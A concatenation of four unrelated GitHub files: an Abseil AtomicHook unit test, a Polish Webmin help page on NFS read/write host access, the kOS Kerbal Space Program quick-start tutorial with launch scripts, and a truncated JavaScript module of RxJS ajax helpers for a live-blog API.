#include "absl/base/attributes.h"
namespace {
int value = 0;
void TestHook(int x) { value = x; }
TEST(AtomicHookTest, NoDefaultFunction) {
ABSL_CONST_INIT static absl::base_internal::AtomicHook<void(*)(int)> hook;
value = 0;
// Test the default DummyFunction.
EXPECT_TRUE(hook.Load() == nullptr);
EXPECT_EQ(value, 0);
hook(1);
EXPECT_EQ(value, 0);
// Test a stored hook.
hook.Store(TestHook);
EXPECT_TRUE(hook.Load() == TestHook);
EXPECT_EQ(value, 0);
hook(1);
EXPECT_EQ(value, 1);
// Calling Store() with the same hook should not crash.
hook.Store(TestHook);
EXPECT_TRUE(hook.Load() == TestHook);
EXPECT_EQ(value, 1);
hook(2);
EXPECT_EQ(value, 2);
}
TEST(AtomicHookTest, WithDefaultFunction) {
// Set the default value to TestHook at compile-time.
ABSL_CONST_INIT static absl::base_internal::AtomicHook<void (*)(int)> hook(
TestHook);
value = 0;
// Test the default value is TestHook.
EXPECT_TRUE(hook.Load() == TestHook);
EXPECT_EQ(value, 0);
hook(1);
EXPECT_EQ(value, 1);
// Calling Store() with the same hook should not crash.
hook.Store(TestHook);
EXPECT_TRUE(hook.Load() == TestHook);
EXPECT_EQ(value, 1);
hook(2);
EXPECT_EQ(value, 2);
}
} // namespace
| {
"pile_set_name": "Github"
} |
<header>Dostęp do odczytu i zapisu</header>
Określa, które hosty mają uzyskiwać dostęp do tego zasobu w trybie
do odczytu i zapisu. Możliwe są trzy ustawienia dla tej opcji :
<ul>
<li><b>Żaden</b><br>
Żaden host nie ma dostępu w trybie do odczytu i zapisu.
<li><b>Wszystkie hosty</b><br>
Dowolny host może zamontować ten zasób w trybie do odczytu
i zapisu. Jeśli jesteś podłączony do Internetu, oznacza to, że
ktokolwiek z dowolnego miejsca na świecie może czytać, zapisywać
i kasować pliki w udostępnionym katalogu. Korzystaj z tej opcji
z ostrożnością.
<li><b>Wymienione hosty</b><br>
<if $gconfig{'os_version'} < 7>
Z wymienionych poniżej hostów i adresów IP można zamontować
ten zasób w trybie do odczytu i zapisu.
<else>
Hosty spełniające poniższe warunki mogą montować ten zasób
w trybie do odczytu i zapisu. Można je podać
w postaci : <p>
<dl>
<dt><b>Nazwy hosta lub adresu IP</b> (np. <i>ftp.foo.com</i> lub
<i>1.2.3.4</i>)
<dd>Spełnia go host o podanej nazwie lub adresie IP
<dt><b>Grupy sieciowej</b> (np. <i>inzynieria</i>)
<dd>Spełnia go dowolny host będący członkiem grupy sieciowej
<dt><b>Domeny DNS-u</b> (np. <i>.foo.com</i>)
<dd>Spełnia go dowolny host w domenie
<dt><b>Sieci</b> (np. <i>@10.254.1</i>)
<dd>Spełnia go dowolny host w sieci
<dt><b>Sieci z maską</b> (np. <i>@10.254.1/24</i>)
<dd>Spełnia go dowolny host w sieci
</dl><p>
Dodatkowo, dowolną z powyższych notacji można poprzedzić <i>-</i>,
co oznacza że host, grupa sieciowa, domena lub sieć <b>nie</b> może
montować tego zasobu. Może to być przydatne do umożliwienia dostępu dla
zbioru hostów z wyłączeniem jednego jego członka.
</if>
</ul>
<hr>
| {
"pile_set_name": "Github"
} |
.. _quickstart:
Quick Start Tutorial
====================
This is a quick start guide for the **Kerbal Operating System** (**kOS**). It is intended for those who are just starting with using **kOS**. It does presume you have played **Kerbal Space Program** before and know the basics of how to fly a rocket under manual control. It does *NOT* assume you know a lot about computer programming, and it will walk you through some basic first steps.
.. contents:: Contents
:local:
:depth: 2
First example: Hello World
--------------------------
In the grand tradition of programming tutorials, the first example will be how to make a script that does nothing more than print the words "Hello World" on the screen. The purpose of this example is to show where you should put the files, how to move them about, and how to get one to run on the vessel.
Step 1: Start a new sandbox-mode game
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
(You can use **kOS** in a career mode game, but it requires a part that you have to research which isn't available at the start of the tech tree, so this example will just use sandbox mode to keep it simple.)
Step 2: Make a vessel in the Vehicle Assembly Bay
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Make the vessel contain any unmanned command core, a few hundred units of battery power, a means of recharging the battery such as a solar panel array, and the "Comptronix CX-4181 Scriptable Control System". (From this point onward the CX-4181 Scriptable Control System part will be referred to by the acronym "SCS".) The SCS part is located in the parts bin under the "Control" tab (the same place where RCS thrusters and Torque Wheels are found.)
.. figure:: /_images/tutorials/quickstart/SCS_parts_bin.png
Step 3: Put the vessel on the launchpad
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Put the vessel on the launchpad. For this first example it doesn't matter if the vessel can actually liftoff or even has engines at all.
Step 4: Invoke the terminal
^^^^^^^^^^^^^^^^^^^^^^^^^^^
Right click for the SCS part on the vessel and then click the button that says "Open Terminal".
Note that if the terminal is semi-transparent, this means it's not currently selected. If you click on the terminal, then your keyboard input is directed to the terminal INSTEAD of to piloting. In other words if you type ``W`` ``A`` ``S`` ``D``, you'll actually get the word "wasd" to appear on the terminal, rather than the ``W`` ``A`` ``S`` ``D`` keys steering the ship. To switch back to manual control of the game instead of typing into the terminal, click outside the terminal window anywhere on the background of the screen.
Step 5: See what an interactive command is like
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
You should now see an old-school looking text terminal like the one shown below. Type the line::
CLEARSCREEN. PRINT "==HELLO WORLD==".
into the terminal (make sure to actually type the periods (".") as shown) and hit ``ENTER``. Note that you can type it in uppercase or lowercase. **kOS** doesn't care.
.. figure:: /_images/tutorials/quickstart/terminal_open_1.png
:width: 80 %
The terminal will respond by showing you this:
.. figure:: /_images/tutorials/quickstart/terminal_open_2.png
Step 6: Okay that's great, but how can you make that happen in a program script instead?
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Like so: Enter this command::
EDIT HELLO.
(Don't forget the period ("."). All commands in **kOS** are ended with a period. Again, you can type it in uppercase or lowercase. **kOS** doesn't care.)
You should see an editor window appear, looking something like this (without the text inside because you're starting a blank new file):
.. figure:: /_images/tutorials/quickstart/editor.png
Type this text into the window::
PRINT "=========================================".
PRINT " HELLO WORLD".
PRINT "THIS IS THE FIRST SCRIPT I WROTE IN kOS.".
PRINT "=========================================".
Click "Save" then "Exit" in the editor pop-up window.
- *Side Note: The editor font* - Experienced programmers may have noticed that the editor's font is proportional width rather than monospaced and that this is not ideal for programming work. You are right, but there is little that can be done about it for a variety of technical reasons that are too complex to go into right now.
Then on the main text terminal Enter::
RUN HELLO.
And you will see the program run, showing the text on the screen like so.
.. figure:: /_images/tutorials/quickstart/hello_world1.png
.. note::
You can also type ``RUNPATH("hello")`` instead of ``RUN HELLO``. The
commands are slightly different but should have the same effect. You can
learn about the specific difference between them later :ref:`here <running>`.
Step 7: Okay, but where is this program?
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
To see where the "HELLO" program has been saved, Issue the command ``LIST FILES`` like this::
LIST FILES.
(Note, that the default for the ``LIST`` command is to list ``FILES``, so you can leave the word "FILES" off if you like.)
It should look like this, showing you the HELLO program you just wrote:
.. figure:: /_images/tutorials/quickstart/hello_list.png
This is a list of all the files on the currently selected VOLUME. By default, when you launch a new vessel, the currently selected VOLUME is called "1" and it's the volume that's stored on THAT SCS part that you are running all these commands in.
This is the local volume of that SCS part. Local volumes such at this tend to have very small limited storage, as you can see when you look at the space remaining in the list printout.
If you're wondering where the file is stored *physically* on your computer, it's represented by a section inside the persistence file for your saved game, as a piece of data associated with the SCS part. This is important because it means you can't access the program from another vessel, and if this vessel ever crashes and the SCS part explodes, then you've lost the program.
Step 8: I don't like the idea that the program is stored only on this vessel. Can't I save it somewhere better? More permanent?
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Yes. Yes you can.
There is another VOLUME that always exists called the *Archive*, which is also referred to as volume 0. (either name can be used in commands). The archive is conceptually stored somewhere back at Kerbin home base in the Space Center rather than on your vessel. It has infinite storage space, and does not disappear when your vessel is gone. ALSO, it actually exists across saved games - if you launch one saved game, put a new file in the Archive, and then later launch a different saved game, that file will be there in that game too.
To use the Archive, first we'll have to introduce you to a new command, called ``SWITCH TO``. The ``SWITCH TO`` command changes which VOLUME is the one that you are doing your work with.
To work with the archive, and create a second "hello world" file there, you issue these commands and see what they do::
SWITCH TO 0.
EDIT HELLO2. // Make a new file here that just says: PRINT "hi again".
LIST FILES.
RUN HELLO2.
SWITCH TO 1.
LIST FILES.
RUN HELLO.
*But where is it stored behind the scenes?* The archive is currently slightly violating the design of **KSP** mods that puts everything in the GameData folder. The kSP Archive is actually stored in the ``Ships/Script`` folder of your MAIN **KSP** home, not inside GameData.
If a file is stored inside the archive, it can actually be edited *by an external text editor of your choice* instead of using **kOS**'s in-game editor. This is usually a much better practice once you start doing more complex things with **kOS**. You can also make new files in the archive folder. Just make sure that all the files end with a ``.ks`` file name suffix or **kOS** won't use them.
Further reading about files and volumes:
- :ref:`Volumes <volumes>`
- :ref:`File Control <files>`
- :ref:`VolumeFile structure <volumefile>`
Second Example: Doing something real
------------------------------------
Okay that's all basic setup stuff but you're probably clamoring for a real example that actually does something nifty.
This example will show the crudest, most basic use of **kOS** just to get started. In this example we'll make a program that will launch a vessel using progressively more and more complex checks. **kOS** can be used at any stage of a vessel's flight - launching, circularizing, docking, landing,... and in fact launching is one of the simpler piloting tasks that you can do without much need of automation. Where **kOS** really shines is for writing scripts to do touchy sensitive tasks like landing or docking or hovering. These are the areas that can benefit from the faster reaction speed that a computer script can handle.
But in order to give you an example that you can start with from scratch, that's easy to reload and retry from an initial point, we'll use an example of launching.
Step 1: Make a vessel
^^^^^^^^^^^^^^^^^^^^^
This tutorial is designed to work with a very specific rocket design.
You need to make the vessel you see here:
.. figure:: /_images/tutorials/quickstart/example_2_0.png
:width: 80 %
If you prefer, you can instead download the
`.craft file here <../_static/tutorials/quickstart/MyFirstRocket.craft>`_
Step 2: Make the start of the script
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Okay, so type the lines below in an external *text editor of your choice* (i.e. Notepad on Windows, or TextEdit on Mac, or whatever you fancy)::
//hellolaunch
//First, we'll clear the terminal screen to make it look nice
CLEARSCREEN.
//This is our countdown loop, which cycles from 10 to 0
PRINT "Counting down:".
FROM {local countdown is 10.} UNTIL countdown = 0 STEP {SET countdown to countdown - 1.} DO {
PRINT "..." + countdown.
WAIT 1. // pauses the script here for 1 second.
}
See those things with the two slashes ("//")? Those are comments in the Kerboscript language and they're just ways to write things in the program that don't do anything - they're there for humans like you to read so you understand what's going on. In these examples you never actually have to type in the things you see after the slashes. They're there for your benefit when reading this document but you can leave them out if you wish.
Save the file in your ``Ships/Script`` folder of your **KSP** installation under the filename "hellolaunch.ks". DO NOT save it anywhere under ``GameData/kOS/``. Do NOT. According to the **KSP** standard, normally **KSP** mods should put their files in ``GameData/[mod name]``, but **kOS** puts the archive outside the ``GameData`` folder because it represents content owned by you, the player, not content owned by the **kOS** mod.
By saving the file in ``Ships/Script``, you have actually put it in your archive volume of **kOS**. **kOS** will see it there immediately without delay. You do not need to restart the game. If you do::
SWITCH TO 0.
LIST FILES.
after saving the file from your external text editor program, you will see a listing of your file "hellolaunch" right away. Okay, now copy it to your local drive and give it a try running it from there::
SWITCH TO 1.
COPYPATH("0:/HELLOLAUNCH", ""). // copies from 0 (archive) to current default location (local drive (1)).
RUN HELLOLAUNCH.
.. figure:: /_images/tutorials/quickstart/example_2_1.png
:width: 80 %
Okay so the program doesn't actually DO anything yet other than just countdown from 10 to 0. A bit of a disappointment, but we haven't written the rest of the program yet.
You'll note that what you've done is switch to the local volume (1) and then copy the program from the archive (0) to the local volume (1) and then run it from the local volume. Technically you didn't need to do this. You could have just run it directly from the archive. For those looking at the **KSP** game as a bit of a role-play experience, it makes sense to never run programs directly from the archive, and instead live with the limitation that software should be copied to the craft for it to be able to run it.
Step 3: Make the script actually do something
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Okay now go back into your *text editor of choice* and append a few more lines to the hellolaunch.ks file so it now looks like this::
//hellolaunch
//First, we'll clear the terminal screen to make it look nice
CLEARSCREEN.
//Next, we'll lock our throttle to 100%.
LOCK THROTTLE TO 1.0. // 1.0 is the max, 0.0 is idle.
//This is our countdown loop, which cycles from 10 to 0
PRINT "Counting down:".
FROM {local countdown is 10.} UNTIL countdown = 0 STEP {SET countdown to countdown - 1.} DO {
PRINT "..." + countdown.
WAIT 1. // pauses the script here for 1 second.
}
UNTIL SHIP:MAXTHRUST > 0 {
WAIT 0.5. // pause half a second between stage attempts.
PRINT "Stage activated.".
STAGE. // same as hitting the spacebar.
}
WAIT UNTIL SHIP:ALTITUDE > 70000.
// NOTE that it is vital to not just let the script end right away
// here. Once a kOS script just ends, it releases all the controls
// back to manual piloting so that you can fly the ship by hand again.
// If the program just ended here, then that would cause the throttle
// to turn back off again right away and nothing would happen.
Save this file to hellolaunch.ks again, and re-copy it to your vessel that should still be sitting on the launchpad, then run it, like so::
COPYPATH("0:/HELLOLAUNCH", "").
RUN HELLOLAUNCH. // You could also say RUNPATH("hellolaunch") here.
.. figure:: /_images/tutorials/quickstart/example_2_2.png
:width: 80 %
Hey! It does something now! It fires the first stage engine and launches!
But.. but wait... It doesn't control the steering and it just lets it go where ever it will.
Most likely you had a crash with this script because it didn't do anything to affect the steering at all, so it probably allowed the rocket to tilt over.
Step 4: Make the script actually control steering
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
So to fix that problem, let's add steering control to the script.
The easy way to control steering is to use the ``LOCK STEERING`` command.
Once you have mastered the basics of **kOS**, you should go and read `the documentation on ship steering techniques <../commands/flight.html>`__, but that's a more advanced topic for later.
The way to use the ``LOCK STEERING`` command is to set it to a thing called a :struct:`Vector` or a :struct:`Direction`. There are several Directions built-in to **kOS**, one of which is called "UP". "UP" is a Direction that always aims directly toward the sky (the center of the blue part of the navball).
So to steer always UP, just do this::
LOCK STEERING TO UP.
So if you just add this one line to your script, you'll get something that should keep the craft aimed straight up and not let it tip over. Add the line just after the line that sets the THROTTLE, like so::
//hellolaunch
//First, we'll clear the terminal screen to make it look nice
CLEARSCREEN.
//Next, we'll lock our throttle to 100%.
LOCK THROTTLE TO 1.0. // 1.0 is the max, 0.0 is idle.
//This is our countdown loop, which cycles from 10 to 0
PRINT "Counting down:".
FROM {local countdown is 10.} UNTIL countdown = 0 STEP {SET countdown to countdown - 1.} DO {
PRINT "..." + countdown.
WAIT 1. // pauses the script here for 1 second.
}
//This is the line we added
LOCK STEERING TO UP.
UNTIL SHIP:MAXTHRUST > 0 {
WAIT 0.5. // pause half a second between stage attempts.
PRINT "Stage activated.".
STAGE. // same as hitting the spacebar.
}
WAIT UNTIL SHIP:ALTITUDE > 70000.
// NOTE that it is vital to not just let the script end right away
// here. Once a kOS script just ends, it releases all the controls
// back to manual piloting so that you can fly the ship by hand again.
// If the program just ended here, then that would cause the throttle
// to turn back off again right away and nothing would happen.
Again, copy this and run it, like before. If your craft crashed in the previous step, which it probably did, then revert to the VAB and re-launch it.::
SWITCH TO 1. // should be the default already, but just in case.
COPYPATH("0:/HELLOLAUNCH", "").
RUN HELLOLAUNCH. // You could also say RUNPATH("hellolaunch") here.
.. figure:: /_images/tutorials/quickstart/example_2_3.png
:width: 80 %
Now you should see the same thing as before, but now your craft will stay pointed up.
*But wait - it only does the first stage and then it stops without
doing the next stage? how do I fix that?*
Step 5: Add staging logic
^^^^^^^^^^^^^^^^^^^^^^^^^
The logic for how and when to stage can be an interesting and fun thing to write yourself. This example will keep it very simple, and this is the part where it's important that you are using a vessel that only contains liquidfuel engines. If your vessel has some booster engines, then it would require a more sophisticated script to launch it correctly than this tutorial gives you.
To add the logic to check when to stage, we introduce a new concept called the WHEN trigger. To see full documentation on it when you finish the tutorial, look for it on the `Flow Control page <../language/flow.html>`__
The quick and dirty explanation is that a WHEN section is a short section of code that you set up to run LATER rather than right now. It creates a check in the background that will constantly look for some condition to occur, and when it happens, it interrupts whatever else the code is doing, and it will run the body of the WHEN code before continuing from where it left off in the main script.
There are some complex dangers with writing WHEN triggers that can cause **KSP** itself to hang or stutter if you are not careful, but explaining them is beyond the scope of this tutorial. But when you want to start using WHEN triggers yourself, you really should read the section on WHEN in the `Flow Control page <../language/flow.html>`__ before you do so.
The WHEN trigger we are going to add to the launch script looks like this::
WHEN MAXTHRUST = 0 THEN {
PRINT "Staging".
STAGE.
PRESERVE.
}.
It says, "Whenever the maximum thrust of our vehicle is zero, then activate the next stage." The PRESERVE keyword says, "don't stop checking this condition just because it's been triggered once. It should still keep checking for it again in the future."
If this block of code is inserted into the script, then it will set up a constant background check that will always hit the next stage as soon as the current stage has no thrust.
UNLIKE with all the previous edits this tutorial has asked you to make to the script, this time you're going to be asked to delete something and replace it. The new WHEN section above should actually **REPLACE** the existing "UNTIL SHIP:MAXTHRUST > 0" loop that you had before.
Now your script should look like this::
//hellolaunch
//First, we'll clear the terminal screen to make it look nice
CLEARSCREEN.
//Next, we'll lock our throttle to 100%.
LOCK THROTTLE TO 1.0. // 1.0 is the max, 0.0 is idle.
//This is our countdown loop, which cycles from 10 to 0
PRINT "Counting down:".
FROM {local countdown is 10.} UNTIL countdown = 0 STEP {SET countdown to countdown - 1.} DO {
PRINT "..." + countdown.
WAIT 1. // pauses the script here for 1 second.
}
//This is a trigger that constantly checks to see if our thrust is zero.
//If it is, it will attempt to stage and then return to where the script
//left off. The PRESERVE keyword keeps the trigger active even after it
//has been triggered.
WHEN MAXTHRUST = 0 THEN {
PRINT "Staging".
STAGE.
PRESERVE.
}.
LOCK STEERING TO UP.
WAIT UNTIL ALTITUDE > 70000.
// NOTE that it is vital to not just let the script end right away
// here. Once a kOS script just ends, it releases all the controls
// back to manual piloting so that you can fly the ship by hand again.
// If the program just ended here, then that would cause the throttle
// to turn back off again right away and nothing would happen.
Again, relaunch the ship, copy the script as before, and run it again. This time you should see it activate your later upper stages correctly.
.. figure:: /_images/tutorials/quickstart/example_2_4.png
:width: 80 %
Step 6: Now to make it turn
^^^^^^^^^^^^^^^^^^^^^^^^^^^
*Okay that's fine but it still just goes straight up! What about a
gravity turn?*
Well, a true and proper gravity turn is a very complex bit of math that is best left as an exercise for the reader, given that the goal of **kOS** is to let you write your OWN autopilot, not to write it for you. But to give some basic examples of commands, lets just make a crude gravity turn approximation that simply flies the ship like a lot of new **KSP** pilots learn to do it for the first time:
- Fly straight up until your velocity is 100m/s.
- Pitch ten degrees towards the East.
- Continue to pitch 10 degrees down for each 100m/s of velocity.
To make this work, we introduce a new way to make a Direction, called the HEADING function. Whenever you call the function HEADING(a,b), it makes a Direction oriented as follows on the navball:
- Point at the compass heading A.
- Pitch up a number of degrees from the horizon = to B.
So for example, HEADING(45,10) would aim northeast, 10 degrees above the horizon. We can use this to easily set our orientation. For example::
//This locks our steering to due east, pitched 45 degrees above the horizon.
LOCK STEERING TO HEADING(90,45).
Instead of using WAIT UNTIL to pause the script and keep it from exiting, we can use an UNTIL loop to constantly perform actions until a certain condition is met. For example::
SET MYSTEER TO HEADING(90,90). //90 degrees east and pitched up 90 degrees (straight up)
LOCK STEERING TO MYSTEER. // from now on we'll be able to change steering by just assigning a new value to MYSTEER
UNTIL APOAPSIS > 100000 {
SET MYSTEER TO HEADING(90,90). //90 degrees east and pitched up 90 degrees (straight up)
PRINT ROUND(SHIP:APOAPSIS,0) AT (0,16). // prints new number, rounded to the nearest integer.
//We use the PRINT AT() command here to keep from printing the same thing over and
//over on a new line every time the loop iterates. Instead, this will always print
//the apoapsis at the same point on the screen.
}.
This loop will continue to execute all of its instructions until the apoapsis reaches 100km. Once the apoapsis is past 100km, the loop exits and the rest of the code continues.
We can combine this with IF statements in order to have one main loop that only executes certain chunks of its code under certain conditions. For example::
SET MYSTEER TO HEADING(90,90).
LOCK STEERING TO MYSTEER.
UNTIL SHIP:APOAPSIS > 100000 { //Remember, all altitudes will be in meters, not kilometers
//For the initial ascent, we want our steering to be straight
//up and rolled due east
IF SHIP:VELOCITY:SURFACE:MAG < 100 {
//This sets our steering 90 degrees up and yawed to the compass
//heading of 90 degrees (east)
SET MYSTEER TO HEADING(90,90).
//Once we pass 100m/s, we want to pitch down ten degrees
} ELSE IF SHIP:VELOCITY:SURFACE:MAG >= 100 AND SHIP:VELOCITY:SURFACE:MAG < 200 {
SET MYSTEER TO HEADING(90,80).
PRINT "Pitching to 80 degrees" AT(0,15).
PRINT ROUND(SHIP:APOAPSIS,0) AT (0,16).
}.
}.
Each time this loop iterates, it will check the surface velocity. If the velocity is below 100m/s, it will continuously execute the first block of instructions.
Once the velocity reaches 100m/s, it will stop executing the first block and start executing the second block, which will pitch the nose down to 80 degrees above the horizon.
Putting this into your script, it should look like this::
//hellolaunch
//First, we'll clear the terminal screen to make it look nice
CLEARSCREEN.
//Next, we'll lock our throttle to 100%.
LOCK THROTTLE TO 1.0. // 1.0 is the max, 0.0 is idle.
//This is our countdown loop, which cycles from 10 to 0
PRINT "Counting down:".
FROM {local countdown is 10.} UNTIL countdown = 0 STEP {SET countdown to countdown - 1.} DO {
PRINT "..." + countdown.
WAIT 1. // pauses the script here for 1 second.
}
//This is a trigger that constantly checks to see if our thrust is zero.
//If it is, it will attempt to stage and then return to where the script
//left off. The PRESERVE keyword keeps the trigger active even after it
//has been triggered.
WHEN MAXTHRUST = 0 THEN {
PRINT "Staging".
STAGE.
PRESERVE.
}.
//This will be our main control loop for the ascent. It will
//cycle through continuously until our apoapsis is greater
//than 100km. Each cycle, it will check each of the IF
//statements inside and perform them if their conditions
//are met
SET MYSTEER TO HEADING(90,90).
LOCK STEERING TO MYSTEER. // from now on we'll be able to change steering by just assigning a new value to MYSTEER
UNTIL SHIP:APOAPSIS > 100000 { //Remember, all altitudes will be in meters, not kilometers
//For the initial ascent, we want our steering to be straight
//up and rolled due east
IF SHIP:VELOCITY:SURFACE:MAG < 100 {
//This sets our steering 90 degrees up and yawed to the compass
//heading of 90 degrees (east)
SET MYSTEER TO HEADING(90,90).
//Once we pass 100m/s, we want to pitch down ten degrees
} ELSE IF SHIP:VELOCITY:SURFACE:MAG >= 100 {
SET MYSTEER TO HEADING(90,80).
PRINT "Pitching to 80 degrees" AT(0,15).
PRINT ROUND(SHIP:APOAPSIS,0) AT (0,16).
}.
}.
Again, copy this into your script and run it. You should see your countdown occur, then it will launch. Once the ship passes 100m/s surface velocity, it will
pitch down to 80 degrees and continuously print the apoapsis until the apoapsis reaches 100km, staging if necessary. The script will then end.
.. figure:: /_images/tutorials/quickstart/example_2_5.png
:width: 80 %
Step 7: Putting it all together
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
We now have every element of the script necessary to do a proper (albeit simple) gravity turn. We just need to extend it all the way through the ascent.
Adding additional IF statements inside our main loop will allow us to perform further actions based on our velocity. Each IF statement you see in the script below
covers a 100m/s block of velocity, and will adjust the pitch 10 degrees farther down than the previous block.
You can see that with the AND statement, we can check multiple conditions and only execute that block when all of those conditions are true. We can carefully set up
the conditions for each IF statement to allow a block of code to be executed no matter what our surface velocity is.
Copy this into your script and run it. It should take you nearly to orbit::
//hellolaunch
//First, we'll clear the terminal screen to make it look nice
CLEARSCREEN.
//Next, we'll lock our throttle to 100%.
LOCK THROTTLE TO 1.0. // 1.0 is the max, 0.0 is idle.
//This is our countdown loop, which cycles from 10 to 0
PRINT "Counting down:".
FROM {local countdown is 10.} UNTIL countdown = 0 STEP {SET countdown to countdown - 1.} DO {
PRINT "..." + countdown.
WAIT 1. // pauses the script here for 1 second.
}
//This is a trigger that constantly checks to see if our thrust is zero.
//If it is, it will attempt to stage and then return to where the script
//left off. The PRESERVE keyword keeps the trigger active even after it
//has been triggered.
WHEN MAXTHRUST = 0 THEN {
PRINT "Staging".
STAGE.
PRESERVE.
}.
//This will be our main control loop for the ascent. It will
//cycle through continuously until our apoapsis is greater
//than 100km. Each cycle, it will check each of the IF
//statements inside and perform them if their conditions
//are met
SET MYSTEER TO HEADING(90,90).
LOCK STEERING TO MYSTEER. // from now on we'll be able to change steering by just assigning a new value to MYSTEER
UNTIL SHIP:APOAPSIS > 100000 { //Remember, all altitudes will be in meters, not kilometers
//For the initial ascent, we want our steering to be straight
//up and rolled due east
IF SHIP:VELOCITY:SURFACE:MAG < 100 {
//This sets our steering 90 degrees up and yawed to the compass
//heading of 90 degrees (east)
SET MYSTEER TO HEADING(90,90).
//Once we pass 100m/s, we want to pitch down ten degrees
} ELSE IF SHIP:VELOCITY:SURFACE:MAG >= 100 AND SHIP:VELOCITY:SURFACE:MAG < 200 {
SET MYSTEER TO HEADING(90,80).
PRINT "Pitching to 80 degrees" AT(0,15).
PRINT ROUND(SHIP:APOAPSIS,0) AT (0,16).
//Each successive IF statement checks to see if our velocity
//is within a 100m/s block and adjusts our heading down another
//ten degrees if so
} ELSE IF SHIP:VELOCITY:SURFACE:MAG >= 200 AND SHIP:VELOCITY:SURFACE:MAG < 300 {
SET MYSTEER TO HEADING(90,70).
PRINT "Pitching to 70 degrees" AT(0,15).
PRINT ROUND(SHIP:APOAPSIS,0) AT (0,16).
} ELSE IF SHIP:VELOCITY:SURFACE:MAG >= 300 AND SHIP:VELOCITY:SURFACE:MAG < 400 {
SET MYSTEER TO HEADING(90,60).
PRINT "Pitching to 60 degrees" AT(0,15).
PRINT ROUND(SHIP:APOAPSIS,0) AT (0,16).
} ELSE IF SHIP:VELOCITY:SURFACE:MAG >= 400 AND SHIP:VELOCITY:SURFACE:MAG < 500 {
SET MYSTEER TO HEADING(90,50).
PRINT "Pitching to 50 degrees" AT(0,15).
PRINT ROUND(SHIP:APOAPSIS,0) AT (0,16).
} ELSE IF SHIP:VELOCITY:SURFACE:MAG >= 500 AND SHIP:VELOCITY:SURFACE:MAG < 600 {
SET MYSTEER TO HEADING(90,40).
PRINT "Pitching to 40 degrees" AT(0,15).
PRINT ROUND(SHIP:APOAPSIS,0) AT (0,16).
} ELSE IF SHIP:VELOCITY:SURFACE:MAG >= 600 AND SHIP:VELOCITY:SURFACE:MAG < 700 {
SET MYSTEER TO HEADING(90,30).
PRINT "Pitching to 30 degrees" AT(0,15).
PRINT ROUND(SHIP:APOAPSIS,0) AT (0,16).
} ELSE IF SHIP:VELOCITY:SURFACE:MAG >= 700 AND SHIP:VELOCITY:SURFACE:MAG < 800 {
SET MYSTEER TO HEADING(90,11).
PRINT "Pitching to 20 degrees" AT(0,15).
PRINT ROUND(SHIP:APOAPSIS,0) AT (0,16).
//Beyond 800m/s, we can keep facing towards 10 degrees above the horizon and wait
//for the main loop to recognize that our apoapsis is above 100km
} ELSE IF SHIP:VELOCITY:SURFACE:MAG >= 800 {
SET MYSTEER TO HEADING(90,10).
PRINT "Pitching to 10 degrees" AT(0,15).
PRINT ROUND(SHIP:APOAPSIS,0) AT (0,16).
}.
}.
PRINT "100km apoapsis reached, cutting throttle".
//At this point, our apoapsis is above 100km and our main loop has ended. Next
//we'll make sure our throttle is zero and that we're pointed prograde
LOCK THROTTLE TO 0.
//This sets the user's throttle setting to zero to prevent the throttle
//from returning to the position it was at before the script was run.
SET SHIP:CONTROL:PILOTMAINTHROTTLE TO 0.
And here is it in action:
.. figure:: /_images/tutorials/quickstart/example_2_6.png
:width: 80 %
And toward the end:
.. figure:: /_images/tutorials/quickstart/example_2_7.png
:width: 80 %
This script should, in principle, work to get you to the point of leaving the atmosphere. It will probably still fall back down, because this script makes no attempt to ensure that the craft is going fast enough to maintain the orbit.
As you can probably see, it would still have a long way to go before it would become a really GOOD launching autopilot. Think about the following features you could add yourself as you become more familiar with **kOS**:
- You could change the steering logic to make a more smooth gravity turn by constantly adjusting the pitch in the HEADING according to some math formula. The example shown here tends to create a "too high" launch that's a bit inefficient. In addition, this method relies on velocity to determine pitch angle, which could result in some very firey launches for other ships with a higher TWR profile.
- This script just stupidly leaves the throttle at max the whole way. You could make it more sophisticated by adjusting the throttle as necessary to avoid velocities that result in high atmospheric heating.
- This script does not attempt to circularize. With some simple checks of the time to apoapsis and the orbital velocity, you can execute a burn that circularizes your orbit.
- With even more sophisticated checks, the script could be made to work with fancy staging methods like asparagus.
- Using the PRINT AT command, you can make fancier status readouts in the terminal window as the script runs.
| {
"pile_set_name": "Github"
} |
/**
* RxJS ajax pretty much interchangable with axios.
* Using RxJS ajax as it's already an observable to use with redux-observable.
*/
import { ajax } from 'rxjs/observable/dom/ajax';
import {
getCurrentTimestamp,
} from '../utils/utils';
const getParams = x => `?${Object.keys(x).map(p => `&${p}=${x[p]}`).join('')}`;
export function getEntries(page, config, newestEntry) {
const settings = {
url: `${config.endpoint_url}get-entries/${page}/${newestEntry.id || config.latest_entry_id}-${newestEntry.timestamp || config.latest_entry_timestamp}`,
method: 'GET',
crossDomain: config.cross_domain,
};
return ajax(settings);
}
export function polling(newestEntryTimestamp, config) {
let timestamp = getCurrentTimestamp();
// Round out the timestamp to get a higher cache hitrate.
// Rather than a random scatter of timestamps,
// this allows multiple clients to make a request with the same timestamp.
const refreshInterval = parseInt(config.refresh_interval, 10);
timestamp = Math.floor(timestamp / refreshInterval) * refreshInterval;
const settings = {
url: `${config.endpoint_url}entries/${(newestEntryTimestamp + 1) || 0}/${timestamp}/`,
method: 'GET',
crossDomain: config.cross_domain,
};
return ajax(settings);
}
export function createEntry(entry, config, nonce = false) {
const settings = {
url: `${config.endpoint_url}crud/`,
method: 'POST',
body: {
crud_action: 'insert',
post_id: config.post_id,
content: entry.content,
